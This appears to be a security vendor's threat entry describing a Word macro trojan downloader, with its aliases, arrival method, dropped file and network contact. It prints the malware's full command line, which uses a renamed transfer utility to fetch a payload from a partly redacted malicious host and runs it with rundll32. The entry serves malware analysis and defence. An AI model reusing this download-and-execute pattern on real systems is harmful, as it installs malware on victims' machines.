Trojan.W97M.BITSLODR.POL

 Analysis by: Paul Steven Nadera

 ALIASES:

TrojanDownloader:O97M/Powdow.ARJ!MTB (Microsoft); VBA/TrojanDownloader.Agent.RZD trojan (NOD32)

 PLATFORM:

Windows

 OVERALL RISK RATING:
 DAMAGE POTENTIAL:
 DISTRIBUTION POTENTIAL:
 REPORTED INFECTION:
 INFORMATION EXPOSURE:

  • Threat Type: Trojan

  • Destructiveness: No

  • Encrypted:

  • In the wild: Yes

  OVERVIEW

This Trojan arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.

However, as of this writing, the said sites are inaccessible.

  TECHNICAL DETAILS

File Size:

93,441 bytes

Memory Resident:

No

Initial Samples Received Date:

13 Mar 2020

Arrival Details

This Trojan arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.

Installation

This Trojan drops the following files:

  • %Temp%\curl.com

It adds the following processes:

  • "%System%\cmd.exe" /c %Temp%\curl.com /transfer jobname http://{BLOCKED}tdriold.com/f64bj/jtrhs.php?l=ghs3.cab %Temp%\12345.dll&& rundll32 %Temp%\12345.dll,DllRegisterServer

Other Details

This Trojan connects to the following possibly malicious URL:

  • http://{BLOCKED}tdriold.com/f64bj/jtrhs.php?l=ghs3.cab

However, as of this writing, the said sites are inaccessible.